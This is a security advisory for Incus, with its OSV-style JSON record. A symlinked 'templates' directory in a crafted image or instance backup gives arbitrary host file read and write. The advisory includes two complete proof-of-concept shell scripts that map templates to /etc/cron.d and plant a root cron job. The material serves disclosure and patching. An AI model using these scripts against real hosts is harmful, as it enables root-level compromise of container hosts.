GHSA-VXP5-584Q-C479

Vulnerability from github – Published: 2026-06-26 18:46 – Updated: 2026-11-05 23:15
VLAI
Summary
Incus has arbitrary file read+write on host via templates/ symlink in malicious image
Details

Summary

A specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.

Details

For container images, internal/server/storage/utils.go calls archive.Unpack(imageFile, destPath, ...). The tar extraction path in shared/archive/archive.go excludes device nodes, but it does not reject a top-level templates symlink.

For instance backups, internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy uses argument -a (archive mode), but does not add --safe-links. This allows a top-level templates symlink.

In practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.

PoC

Malicious container image

Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/templates"
cat<<__EOF__>"${tmpdir}/img/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: PoC templates symlink host afrw
__EOF__

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c * >../afrw-image-templates-symlink.tar
incus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink
incus init afrw-image-templates-symlink afrw-image-templates-symlink

incus config template ls afrw-image-templates-symlink

# read
#incus config template show afrw-image-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-image-templates-symlink poc-32
#incus config template edit afrw-image-templates-symlink poc

Malicious instance backup

Below, the templates directory is mapped to /etc/cron.d on the host, but it can be mapped anywhere. After that, create a cronjob to run id as root.

#!/bin/sh
set -eu

tmpdir=$(mktemp -d)
cleanup() {
    rm -rf "${tmpdir}"
}
trap cleanup EXIT INT QUIT TERM HUP

mkdir -p "${tmpdir}/img/backup"
cat<<__EOF__>"${tmpdir}/img/backup/index.yaml"
name: afrw-backup-templates-symlink
backend: dir
pool: default
type: container
optimized: false
__EOF__

mkdir "${tmpdir}/img/backup/container"
cat<<__EOF__>"${tmpdir}/img/backup/container/backup.yaml"
container:
  name: afrw-backup-templates-symlink
  architecture: x86_64
  type: container
  status: Stopped
  status_code: 102
  stateful: false
  ephemeral: false
  profiles:
    - default
  config:
    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
  expanded_config:
    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5
    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49
  devices: {}
  expanded_devices:
    root:
      path: /
      pool: default
      type: disk
  created_at: "2024-01-01T00:00:00Z"
  last_used_at: "2024-01-01T00:00:00Z"
volume:
  name: afrw-backup-templates-symlink
  type: container
  content_type: filesystem
  config: {}
pool:
  name: default
  driver: dir
  config: {}
__EOF__

cat<<__EOF__>"${tmpdir}/img/backup/container/metadata.yaml"
architecture: x86_64
creation_date: 1
properties:
  description: afrw-backup-templates-symlink
__EOF__

mkdir "${tmpdir}/img/backup/container/rootfs"
ln -s /etc/cron.d "${tmpdir}/img/backup/container/templates"

cd "${tmpdir}/img"
tar --owner=0 --group=0 -f- -c backup >../afrw-backup-templates-symlink.tar
incus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink

incus config template ls afrw-backup-templates-symlink

# read
#incus config template show afrw-backup-templates-symlink $FILENAME

# write
printf "* * * * * root sh -c 'id>/pwned'\n" | incus config template create afrw-backup-templates-symlink poc-32
#incus config template edit afrw-templates-symlink poc

Impact

Arbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/lxc/incus/v7/cmd/incusd"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.2.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48752"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-73"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-26T18:46:31Z",
    "nvd_published_at": "2026-08-21T15:16:40Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nA specially crafted image or instance backup can be used to read or create/write arbitrary files on the host; possibly leading to arbitrary command execution.\n\n\n### Details\n\nFor container images, `internal/server/storage/utils.go` calls `archive.Unpack(imageFile, destPath, ...)`. The tar extraction path in `shared/archive/archive.go` excludes device nodes, but it does not reject a top-level `templates` symlink.\n\nFor instance backups, `internal/server/storage/drivers/driver_dir_volumes.go:rsync.LocalCopy` uses argument `-a` (archive mode), but does not add `--safe-links`. This allows a top-level `templates` symlink.\n\nIn practice, this allows a malicious actor to access an arbitrary directory and edit arbitrary files in it.\n\n\n### PoC\n\n#### Malicious container image\n\nBelow, the templates directory is  mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/templates\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: PoC templates symlink host afrw\n__EOF__\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c * \u003e../afrw-image-templates-symlink.tar\nincus image import ../afrw-image-templates-symlink.tar --alias afrw-image-templates-symlink\nincus init afrw-image-templates-symlink afrw-image-templates-symlink\n\nincus config template ls afrw-image-templates-symlink\n\n# read\n#incus config template show afrw-image-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c \u0027id\u003e/pwned\u0027\\n\" | incus config template create afrw-image-templates-symlink poc-32\n#incus config template edit afrw-image-templates-symlink poc\n```\n\n#### Malicious instance backup\n\n\nBelow, the templates directory is mapped to `/etc/cron.d` on the host, but it can be mapped anywhere. After that, create a cronjob to run `id` as root.\n\n```\n#!/bin/sh\nset -eu\n\ntmpdir=$(mktemp -d)\ncleanup() {\n    rm -rf \"${tmpdir}\"\n}\ntrap cleanup EXIT INT QUIT TERM HUP\n\nmkdir -p \"${tmpdir}/img/backup\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/backup/index.yaml\"\nname: afrw-backup-templates-symlink\nbackend: dir\npool: default\ntype: container\noptimized: false\n__EOF__\n\nmkdir \"${tmpdir}/img/backup/container\"\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/backup/container/backup.yaml\"\ncontainer:\n  name: afrw-backup-templates-symlink\n  architecture: x86_64\n  type: container\n  status: Stopped\n  status_code: 102\n  stateful: false\n  ephemeral: false\n  profiles:\n    - default\n  config:\n    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5\n    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49\n  expanded_config:\n    volatile.uuid: 58a0f7de-2490-4e85-9fb2-153ef0fc7be5\n    volatile.uuid.generation: 24d829e5-d74a-4285-88c0-be369140fb49\n  devices: {}\n  expanded_devices:\n    root:\n      path: /\n      pool: default\n      type: disk\n  created_at: \"2024-01-01T00:00:00Z\"\n  last_used_at: \"2024-01-01T00:00:00Z\"\nvolume:\n  name: afrw-backup-templates-symlink\n  type: container\n  content_type: filesystem\n  config: {}\npool:\n  name: default\n  driver: dir\n  config: {}\n__EOF__\n\ncat\u003c\u003c__EOF__\u003e\"${tmpdir}/img/backup/container/metadata.yaml\"\narchitecture: x86_64\ncreation_date: 1\nproperties:\n  description: afrw-backup-templates-symlink\n__EOF__\n\nmkdir \"${tmpdir}/img/backup/container/rootfs\"\nln -s /etc/cron.d \"${tmpdir}/img/backup/container/templates\"\n\ncd \"${tmpdir}/img\"\ntar --owner=0 --group=0 -f- -c backup \u003e../afrw-backup-templates-symlink.tar\nincus import ../afrw-backup-templates-symlink.tar afrw-backup-templates-symlink\n\nincus config template ls afrw-backup-templates-symlink\n\n# read\n#incus config template show afrw-backup-templates-symlink $FILENAME\n\n# write\nprintf \"* * * * * root sh -c \u0027id\u003e/pwned\u0027\\n\" | incus config template create afrw-backup-templates-symlink poc-32\n#incus config template edit afrw-templates-symlink poc\n```\n\n### Impact\n\nArbitrary file read and write on the host via unsanitized symlink; possibly leading to command execution.",
  "id": "GHSA-vxp5-584q-c479",
  "modified": "2026-11-05T23:15:30Z",
  "published": "2026-06-26T18:46:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/canonical/lxd/security/advisories/GHSA-jpf8-86f3-wp38"
    },
    {
      "type": "WEB",
      "url": "https://github.com/lxc/incus/security/advisories/GHSA-vxp5-584q-c479"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48752"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/lxc/incus"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Incus has arbitrary file read+write on host via templates/ symlink in malicious image"
}



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